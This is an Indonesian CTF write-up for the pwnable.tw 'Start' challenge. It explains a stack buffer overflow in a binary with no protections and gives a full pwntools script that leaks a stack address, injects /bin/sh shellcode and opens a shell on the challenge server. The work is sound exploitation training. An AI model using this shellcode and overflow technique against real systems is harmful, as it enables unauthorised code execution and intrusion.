Pwnable.tw - Start (100)

by CTF.Ninja

Diberikan sebuah binary bernama start, yang vulnerable buffer overflow, karena buffer inputan lebih besar dari buffer variable penampung.

Berikut informasi binary start.

$ file start                                                                                                                      
start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
$ checksec start                                                                                                                  
[*] 'start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

Hasil disassembly menggunaan Binary Ninja pada fungsi _start

Diketahui bahwa binary start ditulis menggunakan asm x86 dan menggunakan 3 syscall yaitu write, read dan exit. Referensi tentang syscall dapat dilihat disini

Pada bagian warna biru adalah proses pemanggilan syscall write dan bagian warna merah adalah pemanggilan syscall read . Lalu bagian kuning paling bawah adalah prospes stack akan di naikan sebanyak 20 bytes, sehingga Top Of Stack nya adalah alamat dari fungsi _exit dan program akan loncat ke fungsi _exit untuk mengakhiri eksekusi.

Apabila code nya di convert ke C kira-kira seperti berikut

void main(void){
    char buf[20] = "Let's start the CTF:";
    write(1,buf,20);
    read(0,buf,60)
    exit();
}
void exit(){
    exit(0);
}

How To Get A Shell ?

Karena binary nya sama sekali tidak memiliki proteksi, kita dapat dengan mudah inject shellcode lalu loncat ke shellcode berada. Dengan asumsi bahwa ASLR dalam keadaaan ON, kita dapat meleak Stack Address lalu mengkalkulasikan jarak antara Stack address dan tempat shellcode berada.

Pada dasar nya program start akan mem PUSH 28 bytes data ke dalam stack, berikut Layout Stack nya

                +--------------+
Top Of Stack => |  0x2774654c  | // 'Let''
                +--------------+
                |  0x74732073  | // 's st'
                +--------------+
                |  0x20747261  | // 'art '
                +--------------+
                |  0x20656874  | // 'the '
                +--------------+
                |  0x3a465443  | // 'CTF:'
                +--------------+
                |  0x804809d   | // syscall_exit
                +--------------+
                |     esp      |
                +--------------+

Dari Layout Stack diatas dapat di pastikan untuk mengoverwrite Return Address atau EIP nya dibutuhkan 20 bytes. Lalu arahkan eksekusi program ke instruksi mov ecx, esp (pada alamat : 0x8048087). sehingga program akan mengluarkan output yang berisi Stack Address.

from pwn import *

context(arch = "i386",os="linux")

# http://shell-storm.org/shellcode/files/shellcode-811.php
shellcode = ""
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89"
shellcode += "\xe3\x89\xc1\x89\xc2\xb0\x0b"
shellcode += "\xcd\x80\x31\xc0\x40\xcd\x80"
mov_ecx_esp = p32(0x08048087)

start = remote("chall.pwnable.tw",10000)
start.recvuntil("CTF:")
payload = "A" * 20 + mov_ecx_esp
start.send(payload)
stack= start.recv(4)
stack_addr = u32(stack)
print hex(stack_addr)
payload_next="A"*20+p32(stack_addr+20)+ "\x90" * 4 + shellcode 
start.sendline(payload_next) 
start.interactive()
Tags: PwnabletwCTF

Subscribe via RSS